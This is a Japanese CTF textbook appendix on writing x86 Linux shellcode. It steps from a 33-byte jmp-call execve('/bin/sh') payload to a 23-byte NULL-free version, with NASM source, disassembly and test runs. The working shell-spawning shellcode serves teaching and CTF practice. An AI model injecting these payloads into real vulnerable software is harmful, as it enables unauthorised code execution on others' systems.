2章付録

シェルコード

付2.1 シェルコードとは

シェルコードは攻撃の際に使う機械語で書かれたプログラムの断片のことで、主にシェルを起動するために作られている場合が多いことから、これをシェルコードと呼んでいます。シェルコードは基本的に外部のライブラリを必要とせず、単体で動作するように作られています。シェルコードの分野は書籍『セキュリティコンテストチャレンジブック』の第2章pwnで紹介した脆弱性とは独立しているため、CTFにおいては、シェルコードを書く能力を問う問題から、バッファオーバーフローからシェルコードを使った攻撃に発展させる問題などで幅広く登場します。

また、シェルコードをいちいち書かなくとも、"shellcode" で検索するとシェルを起動するシェルコードや特定のIPポートに接続してシェルを立ち上げるシェルコードなど、多くの種類のシェルコードを入手することができます。

付2.2 シェルコードの基礎知識

シェルコードは機械語で書かれていますが、さすがに人間がいきなり機械語を書くのは難しいので、普通はアセンブラを書いてそれを機械語にアセンブルするという方法で作成します。感覚としては普段バイナリ解析のときよく読んでいるアセンブラを読むのではなく、自分の手で書くという作業になります。

アセンブルするときに使うツールとして、GNU Assembler（GAS）とNetwide Assembler（NASM）の2種類がメジャーですが、本書では標準でIntel記法を採用しているNASMを使って解説を進めていきます。

シェルコードは基本的に外部ライブラリを使わずにアセンブラを書くため、私たちが普段使っている`puts`や`printf`、`fgets`といった標準ライブラリ（libc）の関数を呼び出すことはありません。その代わりに、アセンブラから直接システムコールを使ってOSの機能を直接呼び出すことになります。

■ システムコール

機械語から CPU に対して割り込みをかけることで OS の機能を呼び出すことができます。システムコールには非常に多くの種類があり、入出力を行う `read`、`write` をはじめ、別プロセスを起動する `execve` やファイルをオープンする `open` などもシステムコールで提供されている機能です。

これらの機能は、レジスタに値をセットしたあと、システムコール命令を実行することで呼び出すことができます。例えば、x86 環境で標準入力からアドレス `0x804b000` に 0x100 バイトの文字列を読み込む場合は、次のようなアセンブラを書き、機械語にコンパイルします。

```
mov eax, 3
mov ebx, 0
mov ecx, 0x804b000
mov edx, 0x100
int 0x80
```

感のよい方は既にお気づきかも知れませんが、`ebx, ecx, edx` は `read` の 3 つの引数になっていて、最後の `int 0x80` が CPU に対するシステムコールの割り込み処理です。`eax` を `3` にセットしていますが、これが多くの種類のシステムコールを区別するためのシステムコール番号となっています。すべてを列挙すると使わないものも多く含まれるため、CTF でよく使うシステムコールの番号一覧を表にしました。

種別	x86	x86_64	引数1	引数2	引数3
read	3	0	fd	buf	count
write	4	1	fd	buf	count
execve	11	59	filename	argv	envp
dup2	63	33	old	new	-
mprotect	125	10	start	len	prot

また、x86 と x86_64 においてもシステムコールの呼び出し方に差異が存在するため、システムコールの引数と命令の対応も表にまとめました。

アーキテクチャ	命令	番号	引数1	引数2	引数3	引数4
x86	int 0x80	eax	ebx	ecx	edx	esi
x86_64	syscall	rax	rdi	rsi	rdx	r10

付2.3 シェルコードを書いてみる

それでは実際にシェルコードを書く段階に入ります。まずは x86 でシェルを起動するシェルコードを書いてみましょう。シェルを起動するためには execve システムコールを使って `/bin/sh` を実行します。execve システムコールの引数を考えると、Linux 環境では `argv`、`envp` は NULL ポインタで動作するのですが、filename には必ず `/bin/sh` の文字列の先頭ポインタを渡さなければいけません。また、シェルコードは独立して実行できることが望ましいので、`/bin/sh` の文字列もシェルコード内に入れ込むことになります。

文字列をどう扱うかはいったん置いておいて、その他の部分のシェルコードを構築してしまいます。

```
BITS 32
global _start

_start:
  mov eax, 11
  mov ebx, ; ['/bin/sh' のアドレス]
  mov ecx, 0
  mov edx, 0
  int 0x80
```

`/bin/sh` のアドレスを ebx にセットしなければなりません。方法はいくつかあるのですが、まずは jmp-call を使ってアドレスを入手する方法を紹介します。

call 命令は指定された関数へジャンプするとともに `call` 命令の位置 `+ 5` のアドレス、すなわち call 命令で飛んだ先からリターンするためのリターンアドレスをスタックに push します。うまく call 命令を利用すれば、スタックの一番上に `/bin/sh` の文字列へのアドレスがある状態でシェルコードを継続することができるのです。実際に jmp-call

を使ってレジスタに /bin/sh のアドレスをセットするアセンブラを書いてみましょう。

```
; binsh.s
BITS 32
global _start

_start:
  mov eax, 11
  jmp buf
setebx:
  pop ebx
  mov ecx, 0
  mov edx, 0
  int 0x80

buf:
  call setebx
  db '/bin/sh', 0
```

/bin/sh という文字列が機械語として実行されてしまうと困るので、シェルコードの末尾に配置しています。途中で buf へジャンプし、そこから setebx を call することで /bin/sh のアドレスをスタックに乗せてシェルコードを継続させています。あとは pop 命令を使ってそのアドレスを ebx にセットするだけです。

アセンブラのコードが書けたのでこれを NASM を使ってアセンブルしてみます。アセンブルが完了したら ndisasm コマンドを使って機械語を逆アセンブルしてみます。また、シェルコードのサイズも確認しておきましょう。

```
$ nasm binsh.s
$ ndisasm -b 32 binsh
00000000  B80B000000        mov eax,0xb
00000005  EB0D              jmp short 0x14
00000007  5B                pop ebx
00000008  B900000000        mov ecx,0x0
0000000D  BA00000000        mov edx,0x0
00000012  CD80              int 0x80
00000014  E8EEFFFFFF        call dword 0x7
00000019  2F                das
0000001A  62696E            bound ebp,[ecx+0x6e]
0000001D  2F                das
0000001E  7368              jnc 0x88
00000020  00                db 0x00
$ wc binsh
0  1 33 binsh
```

完成したシェルコードを実際に動かして動作を確認してみたいところですが、このままでは NASM の出力形式がバイナリファイルになっているため動かすことができません。Linux 上で動かすためにはオブジェクト形式で出力し、更にリンカを実行して実行形式のファイルを作成する必要があります。

```
$ nasm -f aout binsh.s
$ ld -m elf_i386 binsh.o
$ ./a.out
$ ls
a.out binsh.o binsh.s
$ exit
```

シェルから `./a.out` を実行して起動するのもシェルであるためわかりにくくなっていますが、シェルコードが実際に動いている様子を確認することができます。

付2.4 シェルコードを圧縮する

シェルコードはできるだけ短く書くことで小さなバッファにもシェルコードを送り込みやすくなります。

先ほど 33 バイトだった `binsh.s` を様々なテクニックを用いて大幅にダイエットしてみましょう。

■ XOR を使う

シェルコードで目立つのは `mov ecx, 0` などの mov 命令に NULL バイトが多く含まれていてもったいないという点です。また、NULL バイトは文字列の終端として扱われるため、シェルコード中では極力使わない方がよりポータブルなシェルコードを作成することができます。

XOR は排他的論理和の演算を行いますが、この演算は同じ値で XOR を取ると結果が 0 になる特徴があります。`mov ecx, 0` では単純に `ecx` を 0 にするという処理だけであるため、xor 命令に置換することができます。

```
; binsh2.s
BITS 32
global _start

_start:
  mov eax, 11
  jmp buf
setebx:
  pop ebx
  xor ecx, ecx
  xor edx, edx
  int 0x80

buf:
  call setebx
  db '/bin/sh', 0
```

これを NASM でアセンブルしてサイズを確認すると 33 バイトから 27 バイトと、6 バイトもの削減を達成することができました。mov 命令によるゼロクリアを xor 命令に置

き換えることでサイズ削減とNULLバイトの除去の一石二鳥の効果があるため、シェルコードを作成するときには忘れずに使うようにしましょう。

```
 $ nasm binsh2.s
 $ wc binsh2
0  1 27 binsh2
 $ ndisasm -b32 binsh2
 00000000  B80B000000        mov eax,0xb
 00000005  EB07              jmp short 0xe
 00000007  5B                pop ebx
 00000008  31C9              xor ecx,ecx
 0000000A  31D2              xor edx,edx
 0000000C  CD80              int 0x80
 0000000E  E8F4FFFFFF        call dword 0x7
 00000013  2F                das
 00000014  62696E            bound ebp,[ecx+0x6e]
 00000017  2F                das
 00000018  7368              jnc 0x82
 0000001A  00                db 0x00
```

■ 小さいサイズのレジスタを使用する

次に目がつくのは`mov eax, 11`の命令です。他のmov命令は単純にxor命令に置き換えることで短くすることができましたが、0以外の値をセットしている場合にはどうすればよいでしょうか。実はeax、ebx、ecx、edxのレジスタには1バイト単位でアクセスする方法が存在します。レジスタのすべての範囲にアクセスできるわけではありませんが、次の表のような対応でレジスタにアクセスすることができます。

31	...	24	23	...	16	15	...	8	7	...	0
EAX, EBX, ECX, EDX											
						AX, BX, CX, DX					
						AH, BH, CH, DH			AL, BL, CL, DL		

例えば、`eax = 0x12345678`となっているとき、eaxレジスタの下位8ビットにアクセスしたい場合はalレジスタにアクセスすることで`0x78`の部分の値を読み書きできることになります。

mov eax, 11という命令は見方を変えれば「eaxレジスタをゼロクリアしたあとにalレジスタに11を書き込む」というように2つに分けて考えることができます。つまり、先ほどのXORを使ったゼロリセットとalレジスタを使った書き込みを行うことでmov eax, 11という命令を置き換えることができます。

```
; binsh3.s
BITS 32
global _start

_start:
  xor eax, eax
  mov al, 11
  jmp buf
setebx:
  pop ebx
  xor ecx, ecx
  xor edx, edx
  int 0x80

buf:
  call setebx
  db '/bin/sh', 0
```

このコードを先ほどと同じようにNASMでコンパイルしてサイズの比較をしてみます。

```
$ nasm binsh3.s
$ wc binsh3
0  2 26 binsh3
$ ndisasm -b 32 binsh3
00000000  31C0              xor eax,eax
00000002  B00B              mov al,0xb
00000004  EB07              jmp short 0xd
00000006  5B                pop ebx
00000007  31C9              xor ecx,ecx
00000009  31D2              xor edx,edx
0000000B  CD80              int 0x80
```

```
0000000D  E8F4FFFFFF        call dword 0x6
00000012  2F                das
00000013  62696E            bound ebp,[ecx+0x6e]
00000016  2F                das
00000017  7368              jnc 0x81
00000019  00                db 0x00
```

置き換えた結果、27 バイトだったシェルコードが 1 バイト短くなり、26 バイトになりました。同時に シェルコードの末端以外に NULL バイトが出現しなくなったため、文字列として扱った際に NULL バイトにより処理が途中で止まる問題も発生しなくなりました。

■ スタック上にバッファを取る

ここまでで 2 つのテクニックを用いてシェルコードの短縮をしてきましたが、シェル起動のためのシェルコードはまだ短縮することができます。最初は説明の簡単化のために jmp-call を使って `/bin/sh` のアドレスを取得していましたが、この文字列をスタック上に push してアドレスを取得することでさらなるシェルコード短縮が実現します。

push 命令はスタックトップに値を追加する動作を行います。スタックはメモリ上に存在するため、スタックのトップを指す ESP レジスタはメモリ上の値を保持していることになります。つまり、スタック上に文字列のバッファを置いてしまえば ESP レジスタを使って文字列の先頭アドレスを取得できるのです。

スタックには `/bin//sh` という 8 バイトの文字列と、文字列の終端となる NULL バイトを 3 回に分けて push しています。スタックは上に積み上げていくため、push するときは順番に気をつけてください。

スタック		
3 回目	'/bin'	0x6e69622f
2 回目	'//sh'	0x68732f2f
1 回目	NULL	0

この通りにスタックに push するときのアセンブラ命令は次のようになります。

```
push 0
push 0x68732f2f
push 0x6e69622f
```

しかし、このままでは push 0を行うときにシェルコード中に NULL バイトが登場してしまうことが予想されます。2 つのテクニックを使ってせっかく NULL バイトをなくしたのにこれでは意味がありません。代わりに xor 命令でゼロクリアしたレジスタの値を push することでシェルコード中に NULL バイトが現れるのを防ぐことができます。

スタックへ /bin//shの文字列を置くことさえできてしまえば、mov ebx, espを使うだけで簡単に文字列のアドレスを EBX レジスタにセットすることができます。ここまでの一連の変更を加えたシェルコードは次のようになります。

```
; binsh4.s
BITS 32
global _start

_start:
  xor eax, eax
  mov al, 11
  xor ecx, ecx
  xor edx, edx
  push ecx
  push 0x68732f2f
  push 0x6e69622f
  mov ebx, esp
  int 0x80
```

最初に書いたシェルコードと比べると驚くほどすっきりした印象を持つかと思います。シェルコードを短く書くということは無駄な処理を省くことと同じですから、短いシェルコードほど綺麗にまとまっている印象を受けるようになります。

それではこのコードをアセンブルして結果を確認してみましょう。

```
$ nasm binsh4.s
$ wc binsh4
0  2 23 binsh4
$ ndisasm -b 32 binsh4
00000000  31C0              xor eax,eax
00000002  B00B              mov al,0xb
00000004  31C9              xor ecx,ecx
00000006  31D2              xor edx,edx
```

```
00000008  51              push ecx
00000009  682F2F7368      push dword 0x68732f2f
0000000E  682F62696E      push dword 0x6e69622f
00000013  89E3            mov ebx,esp
00000015  CD80            int 0x80
```

26 バイトからさらに 3 バイト短くなり、なんと 23 バイトでシェルが起動するシェルコードを書くことができました。最初のシェルコードが 33 バイトだったことを考えると、10 バイトの削減に成功したことになります。さらに NULL バイトも含まれておらず、とても整ったシェルコードに生まれ変わりました。

最後にここまで短くなったシェルコードが本当に動くかどうか確認します。

```
$ nasm -f aout binsh4.s
$ ld -m elf_i386 binsh.o
$ ./a.out
$ id
uid=1000(ctf4b) gid=1000(ctf4b) groups=1000(ctf4b),4(adm),24(cdrom),27(sudo),
    30(dip),46(plugdev),109(lpadmin),110(sambashare)
$ exit
```

問題なく動いているようです。このようなテクニックを知っておくシェルコードを短くするだけでなく、特定バイトを使うことができない状況でシェルコードを書くといった制約付きのシェルコード問題が出題されたときに焦らず対処できるようになるので、日ごろからシェルコードを書いてみる習慣を付けておきましょう。